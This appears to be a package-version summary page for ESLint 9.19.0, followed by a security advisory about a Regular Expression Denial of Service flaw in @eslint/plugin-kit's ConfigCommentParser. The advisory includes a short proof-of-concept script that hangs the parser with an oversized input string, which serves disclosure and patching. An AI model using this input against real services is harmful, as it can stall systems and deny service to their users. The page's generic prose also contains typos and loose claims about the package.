ESLint version 9.19.0 represents a minor iteration over the previous stable version, 9.18.0, primarily focusing on core updates and dependency enhancements. The most prominent change for developers lies within the dependencies: @eslint/js has been updated from version 9.18.0 to 9.19.0. This package contains the JavaScript API used to evaluate javascript code.
While the core functionality of ESLint remains consistent, these dependency updates often bring performance improvements, bug fixes, and compatibility enhancements with the latest JavaScript and ECMAScript features. Developers can expect a smoother experience when linting modern JavaScript codebases. The updated release date on version 9.19.0 is "2025-01-24T19:05:47.384Z", 14 days after 9.18.0 wich was released on 2025-01-10T21:46:53.867Z", showing that these are recent releases. The file count has increased slightly from 423 to 424 and the unpackedSize` increased from 3370922 to 3382283.
For those deeply invested in ESLint's internals, it's worth noting that even minor version bumps can introduce adjustments to the underlying architecture, potentially affecting custom rules or plugins. Therefore, thoroughly testing any extensions against the new version is wise.
In summary, upgrading from 9.18.0 to 9.19.0 offers a refined and more robust linting experience, particularly for projects leveraging cutting-edge JavaScript syntax. Staying current with ESLint ensures access to the latest tools and improvements, contributing to cleaner code and fewer errors.
All the vulnerabilities related to the version 9.19.0 of the package
@eslint/plugin-kit is vulnerable to Regular Expression Denial of Service attacks through ConfigCommentParser
The ConfigCommentParser#parseJSONLikeConfig API is vulnerable to a Regular Expression Denial of Service (ReDoS) attack in its only argument.
The regular expression at packages/plugin-kit/src/config-comment-parser.js:158 is vulnerable to a quadratic runtime attack because the grouped expression is not anchored. This can be solved by prepending the regular expression with [^-a-zA-Z0-9/].
const { ConfigCommentParser } = require("@eslint/plugin-kit");
const str = `${"A".repeat(1000000)}?: 1 B: 2`;
console.log("start")
var parser = new ConfigCommentParser();
console.log(parser.parseJSONLikeConfig(str));
console.log("end")
// run `npm i @eslint/plugin-kit@0.3.3` and `node attack.js`
// then the program will stuck forever with high CPU usage
This is a Regular Expression Denial of Service attack which may lead to blocking execution and high CPU usage.